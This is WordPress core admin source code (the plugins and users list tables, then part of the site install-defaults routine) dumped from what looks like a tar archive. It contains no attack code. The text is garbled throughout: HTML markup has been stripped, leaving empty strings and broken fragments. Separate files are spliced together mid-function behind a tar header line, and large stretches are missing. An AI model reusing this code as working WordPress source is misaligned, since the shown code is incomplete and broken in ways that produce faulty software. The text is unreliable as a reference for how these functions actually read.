/** This action is documented in wp-admin/includes/class-wp-plugins-list-table.php */
if ( apply_filters( 'show_advanced_plugins', true, 'dropins' ) ) {
$plugins['dropins'] = get_dropins();
}
if ( current_user_can( 'update_plugins' ) ) {
$current = get_site_transient( 'update_plugins' );
foreach ( (array) $plugins['all'] as $plugin_file => $plugin_data ) {
if ( isset( $current->response[ $plugin_file ] ) ) {
$plugins['all'][ $plugin_file ]['update'] = true;
$plugins['upgrade'][ $plugin_file ] = $plugins['all'][ $plugin_file ];
}
}
}
}
if ( ! $screen->in_admin( 'network' ) ) {
$show = current_user_can( 'manage_network_plugins' );
/**
* Filters whether to display network-active plugins alongside plugins active for the current site.
*
* This also controls the display of inactive network-only plugins (plugins with
* "Network: true" in the plugin header).
*
* Plugins cannot be network-activated or network-deactivated from this screen.
*
* @since 4.4.0
*
* @param bool $show Whether to show network-active plugins. Default is whether the current
* user can manage network plugins (ie. a Super Admin).
*/
$show_network_active = apply_filters( 'show_network_active_plugins', $show );
}
if ( $screen->in_admin( 'network' ) ) {
$recently_activated = get_site_option( 'recently_activated', array() );
} else {
$recently_activated = get_option( 'recently_activated', array() );
}
foreach ( $recently_activated as $key => $time ) {
if ( $time + WEEK_IN_SECONDS < time() ) {
unset( $recently_activated[ $key ] );
}
}
if ( $screen->in_admin( 'network' ) ) {
update_site_option( 'recently_activated', $recently_activated );
} else {
update_option( 'recently_activated', $recently_activated, false );
}
$plugin_info = get_site_transient( 'update_plugins' );
foreach ( (array) $plugins['all'] as $plugin_file => $plugin_data ) {
// Extra info if known. array_merge() ensures $plugin_data has precedence if keys collide.
if ( isset( $plugin_info->response[ $plugin_file ] ) ) {
$plugin_data = array_merge( (array) $plugin_info->response[ $plugin_file ], array( 'update-supported' => true ), $plugin_data );
} elseif ( isset( $plugin_info->no_update[ $plugin_file ] ) ) {
$plugin_data = array_merge( (array) $plugin_info->no_update[ $plugin_file ], array( 'update-supported' => true ), $plugin_data );
} elseif ( empty( $plugin_data['update-supported'] ) ) {
$plugin_data['update-supported'] = false;
}
/*
* Create the payload that's used for the auto_update_plugin filter.
* This is the same data contained within $plugin_info->(response|no_update) however
* not all plugins will be contained in those keys, this avoids unexpected warnings.
*/
$filter_payload = array(
'id' => $plugin_file,
'slug' => '',
'plugin' => $plugin_file,
'new_version' => '',
'url' => '',
'package' => '',
'icons' => array(),
'banners' => array(),
'banners_rtl' => array(),
'tested' => '',
'requires_php' => '',
'compatibility' => new stdClass(),
);
$filter_payload = (object) wp_parse_args( $plugin_data, $filter_payload );
$auto_update_forced = wp_is_auto_update_forced_for_item( 'plugin', null, $filter_payload );
if ( ! is_null( $auto_update_forced ) ) {
$plugin_data['auto-update-forced'] = $auto_update_forced;
}
$plugins['all'][ $plugin_file ] = $plugin_data;
// Make sure that $plugins['upgrade'] also receives the extra info since it is used on ?plugin_status=upgrade.
if ( isset( $plugins['upgrade'][ $plugin_file ] ) ) {
$plugins['upgrade'][ $plugin_file ] = $plugin_data;
}
// Filter into individual sections.
if ( is_multisite() && ! $screen->in_admin( 'network' ) && is_network_only_plugin( $plugin_file ) && ! is_plugin_active( $plugin_file ) ) {
if ( $show_network_active ) {
// On the non-network screen, show inactive network-only plugins if allowed.
$plugins['inactive'][ $plugin_file ] = $plugin_data;
} else {
// On the non-network screen, filter out network-only plugins as long as they're not individually active.
unset( $plugins['all'][ $plugin_file ] );
}
} elseif ( ! $screen->in_admin( 'network' ) && is_plugin_active_for_network( $plugin_file ) ) {
if ( $show_network_active ) {
// On the non-network screen, show network-active plugins if allowed.
$plugins['active'][ $plugin_file ] = $plugin_data;
} else {
// On the non-network screen, filter out network-active plugins.
unset( $plugins['all'][ $plugin_file ] );
}
} elseif ( ( ! $screen->in_admin( 'network' ) && is_plugin_active( $plugin_file ) )
|| ( $screen->in_admin( 'network' ) && is_plugin_active_for_network( $plugin_file ) ) ) {
/*
* On the non-network screen, populate the active list with plugins that are individually activated.
* On the network admin screen, populate the active list with plugins that are network-activated.
*/
$plugins['active'][ $plugin_file ] = $plugin_data;
if ( ! $screen->in_admin( 'network' ) && is_plugin_paused( $plugin_file ) ) {
$plugins['paused'][ $plugin_file ] = $plugin_data;
}
} else {
if ( isset( $recently_activated[ $plugin_file ] ) ) {
// Populate the recently activated list with plugins that have been recently activated.
$plugins['recently_activated'][ $plugin_file ] = $plugin_data;
}
// Populate the inactive list with plugins that aren't activated.
$plugins['inactive'][ $plugin_file ] = $plugin_data;
}
if ( $this->show_autoupdates ) {
$enabled = in_array( $plugin_file, $auto_updates, true ) && $plugin_data['update-supported'];
if ( isset( $plugin_data['auto-update-forced'] ) ) {
$enabled = (bool) $plugin_data['auto-update-forced'];
}
if ( $enabled ) {
$plugins['auto-update-enabled'][ $plugin_file ] = $plugin_data;
} else {
$plugins['auto-update-disabled'][ $plugin_file ] = $plugin_data;
}
}
}
if ( strlen( $s ) ) {
$status = 'search';
$plugins['search'] = array_filter( $plugins['all'], array( $this, '_search_callback' ) );
}
/**
* Filters the array of plugins for the list table.
*
* @since 6.3.0
*
* @param array[] $plugins An array of arrays of plugin data, keyed by context.
*/
$plugins = apply_filters( 'plugins_list', $plugins );
$totals = array();
foreach ( $plugins as $type => $list ) {
$totals[ $type ] = count( $list );
}
if ( empty( $plugins[ $status ] ) && ! in_array( $status, array( 'all', 'search' ), true ) ) {
$status = 'all';
}
$this->items = array();
foreach ( $plugins[ $status ] as $plugin_file => $plugin_data ) {
// Translate, don't apply markup, sanitize HTML.
$this->items[ $plugin_file ] = _get_plugin_data_markup_translate( $plugin_file, $plugin_data, false, true );
}
$total_this_page = $totals[ $status ];
$js_plugins = array();
foreach ( $plugins as $key => $list ) {
$js_plugins[ $key ] = array_keys( $list );
}
wp_localize_script(
'updates',
'_wpUpdatesItemCounts',
array(
'plugins' => $js_plugins,
'totals' => wp_get_update_data(),
)
);
if ( ! $orderby ) {
$orderby = 'Name';
} else {
$orderby = ucfirst( $orderby );
}
$order = strtoupper( $order );
uasort( $this->items, array( $this, '_order_callback' ) );
$plugins_per_page = $this->get_items_per_page( str_replace( '-', '_', $screen->id . '_per_page' ), 999 );
$start = ( $page - 1 ) * $plugins_per_page;
if ( $total_this_page > $plugins_per_page ) {
$this->items = array_slice( $this->items, $start, $plugins_per_page );
}
$this->set_pagination_args(
array(
'total_items' => $total_this_page,
'per_page' => $plugins_per_page,
)
);
}
/**
* @global string $s URL encoded search term.
*
* @param array $plugin
* @return bool
*/
public function _search_callback( $plugin ) {
global $s;
foreach ( $plugin as $value ) {
if ( is_string( $value ) && false !== stripos( strip_tags( $value ), urldecode( $s ) ) ) {
return true;
}
}
return false;
}
/**
* @global string $orderby
* @global string $order
* @param array $plugin_a
* @param array $plugin_b
* @return int
*/
public function _order_callback( $plugin_a, $plugin_b ) {
global $orderby, $order;
$a = $plugin_a[ $orderby ];
$b = $plugin_b[ $orderby ];
if ( $a === $b ) {
return 0;
}
if ( 'DESC' === $order ) {
return strcasecmp( $b, $a );
} else {
return strcasecmp( $a, $b );
}
}
/**
* @global array $plugins
*/
public function no_items() {
global $plugins;
if ( ! empty( $_REQUEST['s'] ) ) {
$s = esc_html( urldecode( wp_unslash( $_REQUEST['s'] ) ) );
/* translators: %s: Plugin search term. */
printf( __( 'No plugins found for: %s.' ), '' . $s . '' );
// We assume that somebody who can install plugins in multisite is experienced enough to not need this helper link.
if ( ! is_multisite() && current_user_can( 'install_plugins' ) ) {
echo ' ' . __( 'Search for plugins in the WordPress Plugin Directory.' ) . '';
}
} elseif ( ! empty( $plugins['all'] ) ) {
_e( 'No plugins found.' );
} else {
_e( 'No plugins are currently available.' );
}
}
/**
* Displays the search box.
*
* @since 4.6.0
*
* @param string $text The 'submit' button label.
* @param string $input_id ID attribute value for the search input field.
*/
public function search_box( $text, $input_id ) {
if ( empty( $_REQUEST['s'] ) && ! $this->has_items() ) {
return;
}
$input_id = $input_id . '-search-input';
if ( ! empty( $_REQUEST['orderby'] ) ) {
echo '';
}
if ( ! empty( $_REQUEST['order'] ) ) {
echo '';
}
?>
'search-submit' ) ); ?>
! in_array( $status, array( 'mustuse', 'dropins' ), true ) ? '' : '',
'name' => __( 'Plugin' ),
'description' => __( 'Description' ),
);
if ( $this->show_autoupdates && ! in_array( $status, array( 'mustuse', 'dropins' ), true ) ) {
$columns['auto-updates'] = __( 'Automatic Updates' );
}
return $columns;
}
/**
* @return array
*/
protected function get_sortable_columns() {
return array();
}
/**
* @global array $totals
* @global string $status
* @return array
*/
protected function get_views() {
global $totals, $status;
$status_links = array();
foreach ( $totals as $type => $count ) {
if ( ! $count ) {
continue;
}
switch ( $type ) {
case 'all':
/* translators: %s: Number of plugins. */
$text = _nx(
'All (%s)',
'All (%s)',
$count,
'plugins'
);
break;
case 'active':
/* translators: %s: Number of plugins. */
$text = _n(
'Active (%s)',
'Active (%s)',
$count
);
break;
case 'recently_activated':
/* translators: %s: Number of plugins. */
$text = _n(
'Recently Active (%s)',
'Recently Active (%s)',
$count
);
break;
case 'inactive':
/* translators: %s: Number of plugins. */
$text = _n(
'Inactive (%s)',
'Inactive (%s)',
$count
);
break;
case 'mustuse':
/* translators: %s: Number of plugins. */
$text = _n(
'Must-Use (%s)',
'Must-Use (%s)',
$count
);
break;
case 'dropins':
/* translators: %s: Number of plugins. */
$text = _n(
'Drop-in (%s)',
'Drop-ins (%s)',
$count
);
break;
case 'paused':
/* translators: %s: Number of plugins. */
$text = _n(
'Paused (%s)',
'Paused (%s)',
$count
);
break;
case 'upgrade':
/* translators: %s: Number of plugins. */
$text = _n(
'Update Available (%s)',
'Update Available (%s)',
$count
);
break;
case 'auto-update-enabled':
/* translators: %s: Number of plugins. */
$text = _n(
'Auto-updates Enabled (%s)',
'Auto-updates Enabled (%s)',
$count
);
break;
case 'auto-update-disabled':
/* translators: %s: Number of plugins. */
$text = _n(
'Auto-updates Disabled (%s)',
'Auto-updates Disabled (%s)',
$count
);
break;
}
if ( 'search' !== $type ) {
$status_links[ $type ] = array(
'url' => add_query_arg( 'plugin_status', $type, 'plugins.php' ),
'label' => sprintf( $text, number_format_i18n( $count ) ),
'current' => $type === $status,
);
}
}
return $this->get_views_links( $status_links );
}
/**
* @global string $status
* @return array
*/
protected function get_bulk_actions() {
global $status;
$actions = array();
if ( 'active' !== $status ) {
$actions['activate-selected'] = $this->screen->in_admin( 'network' ) ? _x( 'Network Activate', 'plugin' ) : _x( 'Activate', 'plugin' );
}
if ( 'inactive' !== $status && 'recent' !== $status ) {
$actions['deactivate-selected'] = $this->screen->in_admin( 'network' ) ? _x( 'Network Deactivate', 'plugin' ) : _x( 'Deactivate', 'plugin' );
}
if ( ! is_multisite() || $this->screen->in_admin( 'network' ) ) {
if ( current_user_can( 'update_plugins' ) ) {
$actions['update-selected'] = __( 'Update' );
}
if ( current_user_can( 'delete_plugins' ) && ( 'active' !== $status ) ) {
$actions['delete-selected'] = __( 'Delete' );
}
if ( $this->show_autoupdates ) {
if ( 'auto-update-enabled' !== $status ) {
$actions['enable-auto-update-selected'] = __( 'Enable Auto-updates' );
}
if ( 'auto-update-disabled' !== $status ) {
$actions['disable-auto-update-selected'] = __( 'Disable Auto-updates' );
}
}
}
return $actions;
}
/**
* @global string $status
* @param string $which
*/
public function bulk_actions( $which = '' ) {
global $status;
if ( in_array( $status, array( 'mustuse', 'dropins' ), true ) ) {
return;
}
parent::bulk_actions( $which );
}
/**
* @global string $status
* @param string $which
*/
protected function extra_tablenav( $which ) {
global $status;
if ( ! in_array( $status, array( 'recently_activated', 'mustuse', 'dropins' ), true ) ) {
return;
}
echo '
' . sprintf(
/* translators: %s: wp-content directory name. */
__( 'Drop-ins are single files, found in the %s directory, that replace or enhance WordPress features in ways that are not possible for traditional plugins.' ),
'' . str_replace( ABSPATH, '', WP_CONTENT_DIR ) . ''
) . '
',
$time_class,
wp_get_auto_update_message()
);
}
$html = implode( '', $html );
/**
* Filters the HTML of the auto-updates setting for each plugin in the Plugins list table.
*
* @since 5.5.0
*
* @param string $html The HTML of the plugin's auto-update column content,
* including toggle auto-update action links and
* time to next update.
* @param string $plugin_file Path to the plugin file relative to the plugins directory.
* @param array $plugin_data An array of plugin data. See get_plugin_data()
* and the {@see 'plugin_row_meta'} filter for the list
* of possible values.
*/
echo apply_filters( 'plugin_auto_update_setting_html', $html, $plugin_file, $plugin_data );
wp_admin_notice(
'',
array(
'type' => 'error',
'additional_classes' => array( 'notice-alt', 'inline', 'hidden' ),
)
);
echo '
";
/**
* Fires inside each custom column of the Plugins list table.
*
* @since 3.1.0
*
* @param string $column_name Name of the column.
* @param string $plugin_file Path to the plugin file relative to the plugins directory.
* @param array $plugin_data An array of plugin data. See get_plugin_data()
* and the {@see 'plugin_row_meta'} filter for the list
* of possible values.
*/
do_action( 'manage_plugins_custom_column', $column_name, $plugin_file, $plugin_data );
echo '
';
}
/**
* Fires after each row in the Plugins list table.
*
* @since 2.3.0
* @since 5.5.0 Added 'auto-update-enabled' and 'auto-update-disabled'
* to possible values for `$status`.
*
* @param string $plugin_file Path to the plugin file relative to the plugins directory.
* @param array $plugin_data An array of plugin data. See get_plugin_data()
* and the {@see 'plugin_row_meta'} filter for the list
* of possible values.
* @param string $status Status filter currently applied to the plugin list.
* Possible values are: 'all', 'active', 'inactive',
* 'recently_activated', 'upgrade', 'mustuse', 'dropins',
* 'search', 'paused', 'auto-update-enabled', 'auto-update-disabled'.
*/
do_action( 'after_plugin_row', $plugin_file, $plugin_data, $status );
/**
* Fires after each specific row in the Plugins list table.
*
* The dynamic portion of the hook name, `$plugin_file`, refers to the path
* to the plugin file, relative to the plugins directory.
*
* @since 2.7.0
* @since 5.5.0 Added 'auto-update-enabled' and 'auto-update-disabled'
* to possible values for `$status`.
*
* @param string $plugin_file Path to the plugin file relative to the plugins directory.
* @param array $plugin_data An array of plugin data. See get_plugin_data()
* and the {@see 'plugin_row_meta'} filter for the list
* of possible values.
* @param string $status Status filter currently applied to the plugin list.
* Possible values are: 'all', 'active', 'inactive',
* 'recently_activated', 'upgrade', 'mustuse', 'dropins',
* 'search', 'paused', 'auto-update-enabled', 'auto-update-disabled'.
*/
do_action( "after_plugin_row_{$plugin_file}", $plugin_file, $plugin_data, $status );
}
/**
* Gets the name of the primary column for this specific list table.
*
* @since 4.3.0
*
* @return string Unalterable name for the primary column, in this case, 'name'.
*/
protected function get_primary_column_name() {
return 'name';
}
/**
* Prints a list of other plugins that depend on the plugin.
*
* @since 6.5.0
*
* @param string $dependency The dependency's filepath, relative to the plugins directory.
*/
protected function add_dependents_to_dependency_plugin_row( $dependency ) {
$dependent_names = WP_Plugin_Dependencies::get_dependent_names( $dependency );
if ( empty( $dependent_names ) ) {
return;
}
$dependency_note = __( 'Note: This plugin cannot be deactivated or deleted until the plugins that require it are deactivated or deleted.' );
$comma = wp_get_list_item_separator();
$required_by = sprintf(
/* translators: %s: List of dependencies. */
__( 'Required by: %s' ),
implode( $comma, $dependent_names )
);
printf(
'
%1$s
%2$s
',
$required_by,
$dependency_note
);
}
/**
* Prints a list of other plugins that the plugin depends on.
*
* @since 6.5.0
*
* @param string $dependent The dependent plugin's filepath, relative to the plugins directory.
*/
protected function add_dependencies_to_dependent_plugin_row( $dependent ) {
$dependency_names = WP_Plugin_Dependencies::get_dependency_names( $dependent );
if ( array() === $dependency_names ) {
return;
}
$links = array();
foreach ( $dependency_names as $slug => $name ) {
$links[] = $this->get_dependency_view_details_link( $name, $slug );
}
$is_active = is_multisite() ? is_plugin_active_for_network( $dependent ) : is_plugin_active( $dependent );
$comma = wp_get_list_item_separator();
$requires = sprintf(
/* translators: %s: List of dependency names. */
__( 'Requires: %s' ),
implode( $comma, $links )
);
$notice = '';
$error_message = '';
if ( WP_Plugin_Dependencies::has_unmet_dependencies( $dependent ) ) {
if ( $is_active ) {
$error_message = __( 'This plugin is active but may not function correctly because required plugins are missing or inactive.' );
} else {
$error_message = __( 'This plugin cannot be activated because required plugins are missing or inactive.' );
}
$notice = wp_get_admin_notice(
$error_message,
array(
'type' => 'error',
'additional_classes' => array( 'inline', 'notice-alt' ),
)
);
}
printf(
'
%1$s
%2$s
',
$requires,
$notice
);
}
/**
* Returns a 'View details' like link for a dependency.
*
* @since 6.5.0
*
* @param string $name The dependency's name.
* @param string $slug The dependency's slug.
* @return string A 'View details' link for the dependency.
*/
protected function get_dependency_view_details_link( $name, $slug ) {
$dependency_data = WP_Plugin_Dependencies::get_dependency_data( $slug );
if ( false === $dependency_data
|| $name === $slug
|| $name !== $dependency_data['name']
|| empty( $dependency_data['version'] )
) {
return $name;
}
return $this->get_view_details_link( $name, $slug );
}
/**
* Returns a 'View details' link for the plugin.
*
* @since 6.5.0
*
* @param string $name The plugin's name.
* @param string $slug The plugin's slug.
* @return string A 'View details' link for the plugin.
*/
protected function get_view_details_link( $name, $slug ) {
$url = add_query_arg(
array(
'tab' => 'plugin-information',
'plugin' => $slug,
'TB_iframe' => 'true',
'width' => '600',
'height' => '550',
),
network_admin_url( 'plugin-install.php' )
);
$name_attr = esc_attr( $name );
return sprintf(
"%s",
esc_url( $url ),
/* translators: %s: Plugin name. */
sprintf( __( 'More information about %s' ), $name_attr ),
$name_attr,
esc_html( $name )
);
}
}
class-wp-users-list-table.php 0000644 00000045162 14757313107 0012223 0 ustar 00 'user',
'plural' => 'users',
'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
)
);
$this->is_site_users = 'site-users-network' === $this->screen->id;
if ( $this->is_site_users ) {
$this->site_id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
}
}
/**
* Checks the current user's permissions.
*
* @since 3.1.0
*
* @return bool
*/
public function ajax_user_can() {
if ( $this->is_site_users ) {
return current_user_can( 'manage_sites' );
} else {
return current_user_can( 'list_users' );
}
}
/**
* Prepares the users list for display.
*
* @since 3.1.0
*
* @global string $role
* @global string $usersearch
*/
public function prepare_items() {
global $role, $usersearch;
$usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : '';
$role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : '';
$per_page = ( $this->is_site_users ) ? 'site_users_network_per_page' : 'users_per_page';
$users_per_page = $this->get_items_per_page( $per_page );
$paged = $this->get_pagenum();
if ( 'none' === $role ) {
$args = array(
'number' => $users_per_page,
'offset' => ( $paged - 1 ) * $users_per_page,
'include' => wp_get_users_with_no_role( $this->site_id ),
'search' => $usersearch,
'fields' => 'all_with_meta',
);
} else {
$args = array(
'number' => $users_per_page,
'offset' => ( $paged - 1 ) * $users_per_page,
'role' => $role,
'search' => $usersearch,
'fields' => 'all_with_meta',
);
}
if ( '' !== $args['search'] ) {
$args['search'] = '*' . $args['search'] . '*';
}
if ( $this->is_site_users ) {
$args['blog_id'] = $this->site_id;
}
if ( isset( $_REQUEST['orderby'] ) ) {
$args['orderby'] = $_REQUEST['orderby'];
}
if ( isset( $_REQUEST['order'] ) ) {
$args['order'] = $_REQUEST['order'];
}
/**
* Filters the query arguments used to retrieve users for the current users list table.
*
* @since 4.4.0
*
* @param array $args Arguments passed to WP_User_Query to retrieve items for the current
* users list table.
*/
$args = apply_filters( 'users_list_table_query_args', $args );
// Query the user IDs for this page.
$wp_user_search = new WP_User_Query( $args );
$this->items = $wp_user_search->get_results();
$this->set_pagination_args(
array(
'total_items' => $wp_user_search->get_total(),
'per_page' => $users_per_page,
)
);
}
/**
* Outputs 'no users' message.
*
* @since 3.1.0
*/
public function no_items() {
_e( 'No users found.' );
}
/**
* Returns an associative array listing all the views that can be used
* with this table.
*
* Provides a list of roles and user count for that role for easy
* filtering of the user table.
*
* @since 3.1.0
*
* @global string $role
*
* @return string[] An array of HTML links keyed by their view.
*/
protected function get_views() {
global $role;
$wp_roles = wp_roles();
$count_users = ! wp_is_large_user_count();
if ( $this->is_site_users ) {
$url = 'site-users.php?id=' . $this->site_id;
} else {
$url = 'users.php';
}
$role_links = array();
$avail_roles = array();
$all_text = __( 'All' );
if ( $count_users ) {
if ( $this->is_site_users ) {
switch_to_blog( $this->site_id );
$users_of_blog = count_users( 'time', $this->site_id );
restore_current_blog();
} else {
$users_of_blog = count_users();
}
$total_users = $users_of_blog['total_users'];
$avail_roles =& $users_of_blog['avail_roles'];
unset( $users_of_blog );
$all_text = sprintf(
/* translators: %s: Number of users. */
_nx(
'All (%s)',
'All (%s)',
$total_users,
'users'
),
number_format_i18n( $total_users )
);
}
$role_links['all'] = array(
'url' => $url,
'label' => $all_text,
'current' => empty( $role ),
);
foreach ( $wp_roles->get_names() as $this_role => $name ) {
if ( $count_users && ! isset( $avail_roles[ $this_role ] ) ) {
continue;
}
$name = translate_user_role( $name );
if ( $count_users ) {
$name = sprintf(
/* translators: 1: User role name, 2: Number of users. */
__( '%1$s (%2$s)' ),
$name,
number_format_i18n( $avail_roles[ $this_role ] )
);
}
$role_links[ $this_role ] = array(
'url' => esc_url( add_query_arg( 'role', $this_role, $url ) ),
'label' => $name,
'current' => $this_role === $role,
);
}
if ( ! empty( $avail_roles['none'] ) ) {
$name = __( 'No role' );
$name = sprintf(
/* translators: 1: User role name, 2: Number of users. */
__( '%1$s (%2$s)' ),
$name,
number_format_i18n( $avail_roles['none'] )
);
$role_links['none'] = array(
'url' => esc_url( add_query_arg( 'role', 'none', $url ) ),
'label' => $name,
'current' => 'none' === $role,
);
}
return $this->get_views_links( $role_links );
}
/**
* Retrieves an associative array of bulk actions available on this table.
*
* @since 3.1.0
*
* @return array Array of bulk action labels keyed by their action.
*/
protected function get_bulk_actions() {
$actions = array();
if ( is_multisite() ) {
if ( current_user_can( 'remove_users' ) ) {
$actions['remove'] = __( 'Remove' );
}
} else {
if ( current_user_can( 'delete_users' ) ) {
$actions['delete'] = __( 'Delete' );
}
}
// Add a password reset link to the bulk actions dropdown.
if ( current_user_can( 'edit_users' ) ) {
$actions['resetpassword'] = __( 'Send password reset' );
}
return $actions;
}
/**
* Outputs the controls to allow user roles to be changed in bulk.
*
* @since 3.1.0
*
* @param string $which Whether this is being invoked above ("top")
* or below the table ("bottom").
*/
protected function extra_tablenav( $which ) {
$id = 'bottom' === $which ? 'new_role2' : 'new_role';
$button_id = 'bottom' === $which ? 'changeit2' : 'changeit';
?>
has_items() ) : ?>
'',
'username' => __( 'Username' ),
'name' => __( 'Name' ),
'email' => __( 'Email' ),
'role' => __( 'Role' ),
'posts' => _x( 'Posts', 'post type general name' ),
);
if ( $this->is_site_users ) {
unset( $columns['posts'] );
}
return $columns;
}
/**
* Gets a list of sortable columns for the list table.
*
* @since 3.1.0
*
* @return array Array of sortable columns.
*/
protected function get_sortable_columns() {
$columns = array(
'username' => array( 'login', false, __( 'Username' ), __( 'Table ordered by Username.' ), 'asc' ),
'email' => array( 'email', false, __( 'E-mail' ), __( 'Table ordered by E-mail.' ) ),
);
return $columns;
}
/**
* Generates the list table rows.
*
* @since 3.1.0
*/
public function display_rows() {
// Query the post counts for this page.
if ( ! $this->is_site_users ) {
$post_counts = count_many_users_posts( array_keys( $this->items ) );
}
foreach ( $this->items as $userid => $user_object ) {
echo "\n\t" . $this->single_row( $user_object, '', '', isset( $post_counts ) ? $post_counts[ $userid ] : 0 );
}
}
/**
* Generates HTML for a single row on the users.php admin panel.
*
* @since 3.1.0
* @since 4.2.0 The `$style` parameter was deprecated.
* @since 4.4.0 The `$role` parameter was deprecated.
*
* @param WP_User $user_object The current user object.
* @param string $style Deprecated. Not used.
* @param string $role Deprecated. Not used.
* @param int $numposts Optional. Post count to display for this user. Defaults
* to zero, as in, a new user has made zero posts.
* @return string Output for a single row.
*/
public function single_row( $user_object, $style = '', $role = '', $numposts = 0 ) {
if ( ! ( $user_object instanceof WP_User ) ) {
$user_object = get_userdata( (int) $user_object );
}
$user_object->filter = 'display';
$email = $user_object->user_email;
if ( $this->is_site_users ) {
$url = "site-users.php?id={$this->site_id}&";
} else {
$url = 'users.php?';
}
$user_roles = $this->get_role_list( $user_object );
// Set up the hover actions for this user.
$actions = array();
$checkbox = '';
$super_admin = '';
if ( is_multisite() && current_user_can( 'manage_network_users' ) ) {
if ( in_array( $user_object->user_login, get_super_admins(), true ) ) {
$super_admin = ' — ' . __( 'Super Admin' );
}
}
// Check if the user for this row is editable.
if ( current_user_can( 'list_users' ) ) {
// Set up the user editing link.
$edit_link = esc_url(
add_query_arg(
'wp_http_referer',
urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ),
get_edit_user_link( $user_object->ID )
)
);
if ( current_user_can( 'edit_user', $user_object->ID ) ) {
$edit = "{$user_object->user_login}{$super_admin} ";
$actions['edit'] = '' . __( 'Edit' ) . '';
} else {
$edit = "{$user_object->user_login}{$super_admin} ";
}
if ( ! is_multisite()
&& get_current_user_id() !== $user_object->ID
&& current_user_can( 'delete_user', $user_object->ID )
) {
$actions['delete'] = "" . __( 'Delete' ) . '';
}
if ( is_multisite()
&& current_user_can( 'remove_user', $user_object->ID )
) {
$actions['remove'] = "" . __( 'Remove' ) . '';
}
// Add a link to the user's author archive, if not empty.
$author_posts_url = get_author_posts_url( $user_object->ID );
if ( $author_posts_url ) {
$actions['view'] = sprintf(
'%s',
esc_url( $author_posts_url ),
/* translators: %s: Author's display name. */
esc_attr( sprintf( __( 'View posts by %s' ), $user_object->display_name ) ),
__( 'View' )
);
}
// Add a link to send the user a reset password link by email.
if ( get_current_user_id() !== $user_object->ID
&& current_user_can( 'edit_user', $user_object->ID )
&& true === wp_is_password_reset_allowed_for_user( $user_object )
) {
$actions['resetpassword'] = "" . __( 'Send password reset' ) . '';
}
/**
* Filters the action links displayed under each user in the Users list table.
*
* @since 2.8.0
*
* @param string[] $actions An array of action links to be displayed.
* Default 'Edit', 'Delete' for single site, and
* 'Edit', 'Remove' for Multisite.
* @param WP_User $user_object WP_User object for the currently listed user.
*/
$actions = apply_filters( 'user_row_actions', $actions, $user_object );
// Role classes.
$role_classes = esc_attr( implode( ' ', array_keys( $user_roles ) ) );
// Set up the checkbox (because the user is editable, otherwise it's empty).
$checkbox = sprintf(
'' .
'',
$user_object->ID,
$role_classes,
/* translators: Hidden accessibility text. %s: User login. */
sprintf( __( 'Select %s' ), $user_object->user_login )
);
} else {
$edit = "{$user_object->user_login}{$super_admin}";
}
$avatar = get_avatar( $user_object->ID, 32 );
// Comma-separated list of user roles.
$roles_list = implode( ', ', $user_roles );
$row = "
" .
/* translators: First post content. %s: Site link. */
__( 'Welcome to WordPress. This is your first post. Edit or delete it, then start writing!' ) .
"
";
/* translators: First page content. */
$first_page .= __( "This is an example page. It's different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this:" );
$first_page .= "
\n\n\n";
$first_page .= "\n
";
/* translators: First page content. */
$first_page .= __( "Hi there! I'm a bike messenger by day, aspiring actor by night, and this is my website. I live in Los Angeles, have a great dog named Jack, and I like piña coladas. (And gettin' caught in the rain.)" );
$first_page .= "
\n\n\n";
$first_page .= "\n
";
/* translators: First page content. */
$first_page .= __( '...or something like this:' );
$first_page .= "
\n\n\n";
$first_page .= "\n
";
/* translators: First page content. */
$first_page .= __( 'The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickeys to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.' );
$first_page .= "
\n\n\n";
$first_page .= "\n
";
$first_page .= sprintf(
/* translators: First page content. %s: Site admin URL. */
__( 'As a new WordPress user, you should go to your dashboard to delete this page and create new pages for your content. Have fun!' ),
admin_url()
);
$first_page .= "
' ),
'_multiwidget' => 1,
)
);
update_option(
'sidebars_widgets',
array(
'wp_inactive_widgets' => array(),
'sidebar-1' => array(
0 => 'block-2',
1 => 'block-3',
2 => 'block-4',
),
'sidebar-2' => array(
0 => 'block-5',
1 => 'block-6',
),
'array_version' => 3,
)
);
if ( ! is_multisite() ) {
update_user_meta( $user_id, 'show_welcome_panel', 1 );
} elseif ( ! is_super_admin( $user_id ) && ! metadata_exists( 'user', $user_id, 'show_welcome_panel' ) ) {
update_user_meta( $user_id, 'show_welcome_panel', 2 );
}
if ( is_multisite() ) {
// Flush rules to pick up the new page.
$wp_rewrite->init();
$wp_rewrite->flush_rules();
$user = new WP_User( $user_id );
$wpdb->update( $wpdb->options, array( 'option_value' => $user->user_email ), array( 'option_name' => 'admin_email' ) );
// Remove all perms except for the login user.
$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->usermeta WHERE user_id != %d AND meta_key = %s", $user_id, $table_prefix . 'user_level' ) );
$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->usermeta WHERE user_id != %d AND meta_key = %s", $user_id, $table_prefix . 'capabilities' ) );
/*
* Delete any caps that snuck into the previously active blog. (Hardcoded to blog 1 for now.)
* TODO: Get previous_blog_id.
*/
if ( ! is_super_admin( $user_id ) && 1 !== $user_id ) {
$wpdb->delete(
$wpdb->usermeta,
array(
'user_id' => $user_id,
'meta_key' => $wpdb->base_prefix . '1_capabilities',
)
);
}
}
}
endif;
/**
* Maybe enable pretty permalinks on installation.
*
* If after enabling pretty permalinks don't work, fallback to query-string permalinks.
*
* @since 4.2.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @return bool Whether pretty permalinks are enabled. False otherwise.
*/
function wp_install_maybe_enable_pretty_permalinks() {
global $wp_rewrite;
// Bail if a permalink structure is already enabled.
if ( get_option( 'permalink_structure' ) ) {
return true;
}
/*
* The Permalink structures to attempt.
*
* The first is designed for mod_rewrite or nginx rewriting.
*
* The second is PATHINFO-based permalinks for web server configurations
* without a true rewrite module enabled.
*/
$permalink_structures = array(
'/%year%/%monthnum%/%day%/%postname%/',
'/index.php/%year%/%monthnum%/%day%/%postname%/',
);
foreach ( (array) $permalink_structures as $permalink_structure ) {
